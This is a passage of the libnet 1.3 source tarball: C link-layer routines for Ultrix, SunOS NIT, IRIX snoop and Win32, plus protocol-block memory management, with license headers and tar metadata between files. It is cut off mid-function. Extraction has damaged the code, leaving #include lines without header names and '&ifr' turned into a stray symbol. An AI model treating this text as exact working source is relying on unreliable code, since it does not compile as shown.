ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * packet filter subroutines for tcpdump * Extraction/creation by Jeffrey Mogul, DECWRL */ #include "common.h" #include "../include/gnuc.h" #ifdef HAVE_OS_PROTO_H #include "../include/os-proto.h" #endif struct libnet_link_int * libnet_open_link_interface(int8_t *device, int8_t *ebuf) { struct libnet_link_int *l; int16_t enmode; int backlog = -1; /* request the most */ struct enfilter Filter; struct endevp devparams; l = (struct libnet_link_int *)malloc(sizeof(*l)); if (l == NULL) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "libnet_open_link_int: %s", strerror(errno)); return (0); } memset(l, 0, sizeof(*l)); l->fd = pfopen(device, O_RDWR); if (l->fd < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "pf open: %s: %s\nyour system may not be properly configured; see \"man packetfilter(4)\"", device, strerror(errno)); goto bad; } enmode = ENTSTAMP|ENBATCH|ENNONEXCL; if (ioctl(l->fd, EIOCMBIS, (caddr_t)&enmode) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "EIOCMBIS: %s", strerror(errno)); goto bad; } #ifdef ENCOPYALL /* Try to set COPYALL mode so that we see packets to ourself */ enmode = ENCOPYALL; ioctl(l->fd, EIOCMBIS, (caddr_t)&enmode); /* OK if this fails */ #endif /* set the backlog */ if (ioctl(l->fd, EIOCSETW, (caddr_t)&backlog) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "EIOCSETW: %s", strerror(errno)); goto bad; } /* * discover interface type */ if (ioctl(l->fd, EIOCDEVP, (caddr_t)&devparams) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "EIOCDEVP: %s", strerror(errno)); goto bad; } /* HACK: to compile prior to Ultrix 4.2 */ #ifndef ENDT_FDDI #define ENDT_FDDI 4 #endif switch (devparams.end_dev_type) { case ENDT_10MB: l->linktype = DLT_EN10MB; break; case ENDT_FDDI: l->linktype = DLT_FDDI; break; default: /* * XXX * Currently, the Ultrix packet filter supports only * Ethernet and FDDI. Eventually, support for SLIP and PPP * (and possibly others: T1?) should be added. */ l->linktype = DLT_EN10MB; break; } /* * acceptag all packets */ bzero((int8_t *)&Filter, sizeof(Filter)); Filter.enf_Priority = 37; /* anything > 2 */ Filter.enf_FilterLen = 0; /* means "always true" */ if (ioctl(l->fd, EIOCSETF, (caddr_t)&Filter) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "EIOCSETF: %s", strerror(errno)); goto bad; } return (l); bad: free(l); return (NULL); } int libnet_close_link_interface(struct libnet_link_int *l) { if (close(l->fd) == 0) { free(l); return (1); } else { free(l); return (-1); } } int libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device, const uint8_t *buf, int len) { int c; c = write(l->fd, buf, len); if (c != len) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_write_link: %d bytes written (%s)", c, strerror(errno)); } return (c); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_snit.c0000664000175000017500000001071014506572036015337 0ustar syqsyq/* * $Id: libnet_link_snit.c,v 1.6 2004/01/03 20:31:02 mike Exp $ * * libnet * libnet_snit.c - snit routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * Modifications made to accommodate the new SunOS4.0 NIT facility by * Micky Liu, micky@cunixc.cc.columbia.edu, Columbia University in May, 1989. * This module now handles the STREAMS based NIT. */ #include "common.h" #include "../include/gnuc.h" #ifdef HAVE_OS_PROTO_H #include "../include/os-proto.h" #endif struct libnet_link_int * libnet_open_link_interface(int8_t *device, int8_t *ebuf) { struct strioctl si; /* struct for ioctl() */ struct ifreq ifr; /* interface request struct */ static int8_t dev[] = "/dev/nit"; struct libnet_link_int *l; l = (struct libnet_link_int *)malloc(sizeof(*l)); if (l == NULL) { strcpy(ebuf, strerror(errno)); return (NULL); } memset(l, 0, sizeof(*l)); l->fd = open(dev, O_RDWR); if (l->fd < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "%s: %s", dev, strerror(errno)); goto bad; } /* * arrange to get discrete messages from the STREAM and use NIT_BUF */ if (ioctl(l->fd, I_SRDOPT, (int8_t *)RMSGD) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "I_SRDOPT: %s", strerror(errno)); goto bad; } if (ioctl(l->fd, I_PUSH, "nbuf") < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "push nbuf: %s", strerror(errno)); goto bad; } /* * request the interface */ strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name) -1); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (int8_t *)𝔦 if (ioctl(l->fd, I_STR, (int8_t *)&si) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "NIOCBIND: %s: %s", ifr.ifr_name, strerror(errno)); goto bad; } ioctl(l->fd, I_FLUSH, (int8_t *)FLUSHR); /* * NIT supports only ethernets. */ l->linktype = DLT_EN10MB; return (l); bad: if (l->fd >= 0) { close(l->fd); } free(l); return (NULL); } int libnet_close_link_interface(struct libnet_link_int *l) { if (close(l->fd) == 0) { free(l); return (1); } else { free(l); return (-1); } } int libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device, const uint8_t *buf, int len) { int c; struct sockaddr sa; memset(&sa, 0, sizeof(sa)); strncpy(sa.sa_data, device, sizeof(sa.sa_data)); c = sendto(l->fd, buf, len, 0, &sa, sizeof(sa)); if (c != len) { /* err */ return (-1); } return (c); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_snoop.c0000664000175000017500000001346714506572036015534 0ustar syqsyq/* * $Id: libnet_link_snoop.c,v 1.5 2004/01/03 20:31:02 mike Exp $ * * libnet * libnet_snoop.c - snoop routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1993, 1994, 1995, 1996, 1997 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "common.h" #include #include #include #include #include #include #include #include #include #include #include #include "../include/gnuc.h" #ifdef HAVE_OS_PROTO_H #include "../include/os-proto.h" #endif /** * */ int libnet_open_link(libnet_t *l) { int fd; struct sockaddr_raw sr; uint v; if (l == NULL) { return -1; } l->fd = socket(PF_RAW, SOCK_RAW, RAWPROTO_DRAIN); if (l->fd < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "drain socket: %s", strerror(errno)); goto bad; } memset(&sr, 0, sizeof(sr)); sr.sr_family = AF_RAW; strncpy(sr.sr_ifname, l->device, sizeof(sr.sr_ifname) - 1); sr.sr_ifname[sizeof(sr.sr_ifname) - 1] = '\0'; if (bind(l->fd, (struct sockaddr *)&sr, sizeof(sr))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "drain bind: %s", strerror(errno)); goto bad; } /* * XXX hack - map device name to link layer type */ if (strncmp("et", l->device, 2) == 0 || /* Challenge 10 Mbit */ strncmp("ec", l->device, 2) == 0 || /* Indigo/Indy 10 Mbit, O2 10/100 */ strncmp("ef", l->device, 2) == 0 || /* O200/2000 10/100 Mbit */ strncmp("gfe", l->device, 3) == 0 || /* GIO 100 Mbit */ strncmp("fxp", l->device, 3) == 0 || /* Challenge VME Enet */ strncmp("ep", l->device, 2) == 0 || /* Challenge 8x10 Mbit EPLEX */ strncmp("vfe", l->device, 3) == 0 || /* Challenge VME 100Mbit */ strncmp("fa", l->device, 2) == 0 || strncmp("qaa", l->device, 3) == 0) { l->link_type = DLT_EN10MB; } else if (strncmp("ipg", l->device, 3) == 0 || strncmp("rns", l->device, 3) == 0 || /* O2/200/2000 FDDI */ strncmp("xpi", l->device, 3) == 0) { l->link_type = DLT_FDDI; } else if (strncmp("ppp", l->device, 3) == 0) { l->link_type = DLT_RAW; } else if (strncmp("lo", l->device, 2) == 0) { l->link_type = DLT_NULL; } else { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "drain: unknown physical layer type"); goto bad; } return 1; bad: close(fd); free(l); return -1; } int libnet_close_link(libnet_t *l) { if (close(l->fd) == 0) { return (1); } else { return (-1); } } int libnet_write_link(libnet_t *l, const uint8_t *buf, uint32_t len) { int c; struct ifreq ifr; struct ether_header *eh = (struct ether_header *)buf; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name)); if (ioctl(l->fd, SIOCGIFADDR, &ifr) == -1) { perror("ioctl SIOCGIFADDR"); return (-1); } memcpy(eh->ether_shost, ifr.ifr_addr.sa_data, sizeof(eh->ether_shost)); if (write(l->fd, buf, len) == -1) { /* err */ return (-1); } return (len); } struct libnet_ether_addr * libnet_get_hwaddr(libnet_t *l) { struct ifreq ifdat; int s = -1; if (-1 == (s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "socket(): %s", strerror(errno)); goto errout; } memset(&ifdat, 0, sizeof(struct ifreq)); strncpy(ifdat.ifr_name, l->device, IFNAMSIZ); if (ioctl(s, SIOCGIFADDR, &ifdat) < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "SIOCGIFADDR: %s", strerror(errno)); goto errout; } close(s); return memcpy(l->link_addr.ether_addr_octet, &ifdat.ifr_addr.sa_data, ETHER_ADDR_LEN); errout: if (s > 0) { close(s); } if (ea) { free(ea); ea = 0; } return NULL; } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_win32.c0000664000175000017500000002243114506572036015327 0ustar syqsyq/* * libnet * libnet_link_win32.c - low-level win32 libwpcap routines * * Copyright (c) 2001 - 2002 Don Bowman * Copyright (c) 1998 - 2004 Mike D. Schiffman * Copyright (c) 2002 Roberto Larcher * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ /* Libnet's unnamespaced ICMP6_ macros stomp on the enumerated versions of these names in the MS headers, so pre-include this header. */ #include #include /* From the Microsoft Platform SDK */ #include #include #include "common.h" /* * These are the types that are the same on all platforms, and that * have been defined by for ages. */ #ifndef DLT_NULL #define DLT_NULL 0 /* BSD loopback encapsulation */ #endif #ifndef DLT_EN10MB #define DLT_EN10MB 1 /* Ethernet (10Mb) */ #endif #ifndef DLT_EN3MB #define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */ #endif #ifndef DLT_AX25 #define DLT_AX25 3 /* Amateur Radio AX.25 */ #endif #ifndef DLT_PRONET #define DLT_PRONET 4 /* Proteon ProNET Token Ring */ #endif #ifndef DLT_CHAOS #define DLT_CHAOS 5 /* Chaos */ #endif #ifndef DLT_IEEE802 #define DLT_IEEE802 6 /* 802.5 Token Ring */ #endif #ifndef DLT_ARCNET #define DLT_ARCNET 7 /* ARCNET, with BSD-style header */ #endif #ifndef DLT_SLIP #define DLT_SLIP 8 /* Serial Line IP */ #endif #ifndef DLT_PPP #define DLT_PPP 9 /* Point-to-point Protocol */ #endif #ifndef DLT_FDDI #define DLT_FDDI 10 /* FDDI */ #endif /* * These are types that are different on some platforms, and that * have been defined by for ages. We use #ifdefs to * detect the BSDs that define them differently from the traditional * libpcap * * XXX - DLT_ATM_RFC1483 is 13 in BSD/OS, and DLT_RAW is 14 in BSD/OS, * but I don't know what the right #define is for BSD/OS. */ #ifndef DLT_ATM_RFC1483 #define DLT_ATM_RFC1483 11 /* LLC-encapsulated ATM */ #endif int libnet_open_link(libnet_t *l) { DWORD dwErrorCode; NetType IFType; if (l == NULL) { return (-1); } if (l->device == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): NULL device", __func__); return (-1); } l->lpAdapter = 0; /* open adapter */ l->lpAdapter = PacketOpenAdapter(l->device); if (!l->lpAdapter || (l->lpAdapter->hFile == INVALID_HANDLE_VALUE)) { dwErrorCode=GetLastError(); snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): unable to open the driver, error Code : %lx", __func__, dwErrorCode); return (-1); } /* increase the send buffer */ PacketSetBuff(l->lpAdapter, 512000); /* * Assign link type and offset. */ if (PacketGetNetType(l->lpAdapter, &IFType)) { switch(IFType.LinkType) { case NdisMedium802_3: l->link_type = DLT_EN10MB; l->link_offset = LIBNET_ETH_H; break; case NdisMedium802_5: l->link_type = DLT_IEEE802; l->link_offset = LIBNET_TOKEN_RING_H; break; case NdisMediumFddi: l->link_type = DLT_FDDI; l->link_offset = 0x15; break; case NdisMediumWan: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s():, WinPcap has disabled support for Network type (%d)", __func__, IFType.LinkType); return (-1); break; case NdisMediumAtm: l->link_type = DLT_ATM_RFC1483; break; case NdisMediumArcnet878_2: l->link_type = DLT_ARCNET; break; default: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): network type (%d) is not supported", __func__, IFType.LinkType); return (-1); break; } } else { dwErrorCode=GetLastError(); snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): unable to determine the network type, error Code : %lx", __func__, dwErrorCode); return (-1); } return (1); } int libnet_close_link_interface(libnet_t *l) { if (l->lpAdapter) { PacketSetHwFilter(l->lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL); PacketCloseAdapter(l->lpAdapter); } return (1); } int libnet_write_link(libnet_t *l, const uint8_t *data, uint32_t size) { PACKET pkt; DWORD BytesTransfered = -1; /* Packet* arguments aren't const, but aren't actually modified. */ PacketInitPacket(&pkt, (PVOID)data, size); if (PacketSendPacket(l->lpAdapter, &pkt, TRUE)) BytesTransfered = size; return (BytesTransfered); } struct libnet_ether_addr * libnet_get_hwaddr(libnet_t *l) { struct libnet_ether_addr *mac = &l->link_addr; ULONG IoCtlBufferLength = (sizeof(PACKET_OID_DATA) + sizeof(ULONG) - 1); PPACKET_OID_DATA OidData; int i = 0; if (l == NULL) { return (NULL); } if (l->device == NULL) { if (libnet_select_device(l) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't figure out a device to use", __func__); return (NULL); } } OidData = (struct _PACKET_OID_DATA *)malloc(IoCtlBufferLength); if (OidData == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): OidData is NULL", __func__); return(NULL); } if (l->link_type == DLT_IEEE802) { OidData->Oid = OID_802_5_CURRENT_ADDRESS; } else { OidData->Oid = OID_802_3_CURRENT_ADDRESS; } OidData->Length = 6; if ((PacketRequest(l->lpAdapter, FALSE, OidData)) == FALSE) { memset(mac, 0, 6); } else { for (i = 0; i < 6; i++) { mac->ether_addr_octet[i] = OidData->Data[i]; } } free(OidData); return(mac); } BYTE * libnet_win32_get_remote_mac(libnet_t *l, DWORD DestIP) { HRESULT hr; ULONG pulMac[6]; ULONG ulLen = 6; static PBYTE pbHexMac; PIP_ADAPTER_INFO pinfo = NULL; DWORD dwSize = 0; struct sockaddr_in sin; static BYTE bcastmac[]= {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; BYTE *MAC = libnet_win32_read_arp_table(DestIP); if (MAC==NULL) { memset(pulMac, 0xff, sizeof (pulMac)); memset(&sin, 0, sizeof(sin)); if((hr = SendARP (DestIP, 0, pulMac, &ulLen)) != NO_ERROR) { *(int32_t *)&sin.sin_addr = DestIP; GetAdaptersInfo(NULL, &dwSize); pinfo = (PIP_ADAPTER_INFO)GlobalAlloc(GPTR, dwSize); GetAdaptersInfo(pinfo, &dwSize); if(pinfo != NULL) { DestIP = inet_addr(pinfo->GatewayList.IpAddress.String); memset (pulMac, 0xff, sizeof (pulMac)); ulLen = 6; if((hr = SendARP (DestIP, 0, pulMac, &ulLen)) != NO_ERROR) { GlobalFree(pinfo); return(bcastmac); } } else { GlobalFree(pinfo); return(bcastmac); /* ff:ff:ff:ff:ff:ff */ } } pbHexMac = (PBYTE) pulMac; return (pbHexMac); } else { return (MAC); } } BYTE *libnet_win32_read_arp_table(DWORD DestIP) { static BYTE buffMAC[6]; BOOL fOrder = TRUE; DWORD status; MIB_IPNETTABLE *pIpNetTable = NULL; DWORD Size = 0; memset(buffMAC, 0, sizeof(buffMAC)); status = GetIpNetTable(NULL, &Size, fOrder); if (status == ERROR_INSUFFICIENT_BUFFER) { pIpNetTable = alloca(Size); status = GetIpNetTable(pIpNetTable, &Size, fOrder); } if (status == NO_ERROR) { DWORD i, ci = pIpNetTable->table[0].dwIndex; /* set current interface */ for (i = 0; i < pIpNetTable->dwNumEntries; ++i) { if (pIpNetTable->table[i].dwIndex != ci) ci = pIpNetTable->table[i].dwIndex; if(pIpNetTable->table[i].dwAddr == DestIP) /* found IP in arp cache */ { memcpy(buffMAC, pIpNetTable->table[i].bPhysAddr, sizeof(buffMAC)); return buffMAC; } } } return(NULL); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_pblock.c0000664000175000017500000004233714506572036014631 0ustar syqsyq/* * $Id: libnet_pblock.c,v 1.14 2004/11/09 07:05:07 mike Exp $ * * libnet * libnet_pblock.c - Memory protocol block routines. * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" #include libnet_pblock_t * libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, uint32_t b_len, uint8_t type) { int offset; libnet_pblock_t *p; if (ptag == LIBNET_PTAG_INITIALIZER) { return libnet_pblock_new(l, b_len); } /* * Update this pblock, don't create a new one. Note that if the * new packet size is larger than the old one we will do a malloc. */ p = libnet_pblock_find(l, ptag); if (p == NULL) { /* err msg set in libnet_pblock_find() */ return (NULL); } if (p->type != type) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): ptag refers to different type than expected (0x%x != 0x%x)", __func__, p->type, type); return (NULL); } /* * If size is greater than the original block of memory, we need * to malloc more memory. Should we use realloc? */ if (b_len > p->b_len) { offset = b_len - p->b_len; /* how many bytes larger new pblock is */ free(p->buf); p->buf = malloc(b_len); if (p->buf == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't resize pblock buffer: %s", __func__, strerror(errno)); return (NULL); } memset(p->buf, 0, b_len); p->h_len += offset; /* new length for checksums */ p->b_len = b_len; /* new buf len */ l->total_size += offset; } else { offset = p->b_len - b_len; p->h_len -= offset; /* new length for checksums */ p->b_len = b_len; /* new buf len */ l->total_size -= offset; } p->copied = 0; /* reset copied counter */ return (p); } static void* zmalloc(libnet_t* l, uint32_t size, const char* func) { void* v = malloc(size); if(v) memset(v, 0, size); else snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s", func, strerror(errno)); return v; } libnet_pblock_t * libnet_pblock_new(libnet_t *l, uint32_t b_len) { libnet_pblock_t *p = zmalloc(l, sizeof(libnet_pblock_t), __func__); if(!p) return NULL; p->buf = zmalloc(l, b_len, __func__); if(!p->buf) { free(p); return NULL; } p->b_len = b_len; l->total_size += b_len; l->n_pblocks++; /* make the head node if it doesn't exist */ if (l->protocol_blocks == NULL) { l->protocol_blocks = p; l->pblock_end = p; } else { l->pblock_end->next = p; p->prev = l->pblock_end; l->pblock_end = p; } return p; } int libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2) { libnet_pblock_t *p1, *p2; p1 = libnet_pblock_find(l, ptag1); p2 = libnet_pblock_find(l, ptag2); if (p1 == NULL || p2 == NULL) { /* error set elsewhere */ return (-1); } p2->prev = p1->prev; p1->next = p2->next; p2->next = p1; p1->prev = p2; if (p1->next) { p1->next->prev = p1; } if (p2->prev) { p2->prev->next = p2; } else { /* first node on the list */ l->protocol_blocks = p2; } if (l->pblock_end == p2) { l->pblock_end = p1; } return (1); } static void libnet_pblock_remove_from_list(libnet_t *l, libnet_pblock_t *p) { if (p->prev) { p->prev->next = p->next; } else { l->protocol_blocks = p->next; } if (p->next) { p->next->prev = p->prev; } else { l->pblock_end = p->prev; } } int libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2) { libnet_pblock_t *p1, *p2; p1 = libnet_pblock_find(l, ptag1); p2 = libnet_pblock_find(l, ptag2); if (p1 == NULL || p2 == NULL) { /* error set elsewhere */ return (-1); } /* check for already present before */ if(p2->next == p1) return 1; libnet_pblock_remove_from_list(l, p2); /* insert p2 into list */ p2->prev = p1->prev; p2->next = p1; p1->prev = p2; if (p2->prev) { p2->prev->next = p2; } else { /* first node on the list */ l->protocol_blocks = p2; } return (1); } libnet_pblock_t * libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag) { libnet_pblock_t *p; for (p = l->protocol_blocks; p; p = p->next) { if (p->ptag == ptag) { return (p); } } snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): couldn't find protocol block", __func__); return (NULL); } int libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, const void *buf, uint32_t len) { if (len && !buf) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): payload inconsistency", __func__); return -1; } if (p->copied + len > p->b_len) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): memcpy would overflow buffer", __func__); return (-1); } memcpy(p->buf + p->copied, buf, len); p->copied += len; return (1); } void libnet_pblock_setflags(libnet_pblock_t *p, uint8_t flags) { p->flags = flags; } /* FIXME both ptag setting and end setting should be done in pblock new and/or pblock probe. */ libnet_ptag_t libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, uint32_t h_len, uint8_t type) { p->type = type; p->ptag = ++(l->ptag_state); p->h_len = h_len; l->pblock_end = p; /* point end of pblock list here */ return (p->ptag); } static int pblock_is_ip(libnet_pblock_t* p) { return p->type == LIBNET_PBLOCK_IPV4_H || p->type == LIBNET_PBLOCK_IPV6_H; } /* q is either an ip hdr, or is followed by an ip hdr. return the offset * from end of packet. if there is no offset, we'll return the total size, * and things will break later */ static int calculate_ip_offset(libnet_t* l, libnet_pblock_t* q) { int ip_offset = 0; libnet_pblock_t* p = l->protocol_blocks; for(; p && p != q; p = p->next) { ip_offset += p->b_len; } assert(p == q); /* if not true, then q is not a pblock! */ for(; p; p = p->next) { ip_offset += p->b_len; if(pblock_is_ip(p)) break; } return ip_offset; } int libnet_pblock_coalesce(libnet_t *l, uint8_t **packet, uint32_t *size) { /* * Determine the offset required to keep memory aligned (strict * architectures like solaris enforce this, but's a good practice * either way). This is only required on the link layer with the * 14 byte ethernet offset (others are similarly unkind). */ if (l->injection_type == LIBNET_LINK || l->injection_type == LIBNET_LINK_ADV) { /* 8 byte alignment should work */ l->aligner = 8 - (l->link_offset % 8); } else { l->aligner = 0; } if(!l->total_size && !l->aligner) { /* Avoid allocating zero bytes of memory, it perturbs electric fence. */ *packet = malloc(1); **packet =1; } else { *packet = malloc(l->aligner + l->total_size); } if (*packet == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s", __func__, strerror(errno)); return (-1); } memset(*packet, 0, l->aligner + l->total_size); if (l->injection_type == LIBNET_RAW4 && l->pblock_end->type == LIBNET_PBLOCK_IPV4_H) { libnet_pblock_setflags(l->pblock_end, LIBNET_PBLOCK_DO_CHECKSUM); } /* additional sanity checks to perform if we're not in advanced mode */ if (!(l->injection_type & LIBNET_ADV_MASK)) { switch (l->injection_type) { case LIBNET_LINK: if ((l->pblock_end->type != LIBNET_PBLOCK_TOKEN_RING_H) && (l->pblock_end->type != LIBNET_PBLOCK_FDDI_H) && (l->pblock_end->type != LIBNET_PBLOCK_ETH_H) && (l->pblock_end->type != LIBNET_PBLOCK_802_1Q_H) && (l->pblock_end->type != LIBNET_PBLOCK_ISL_H) && (l->pblock_end->type != 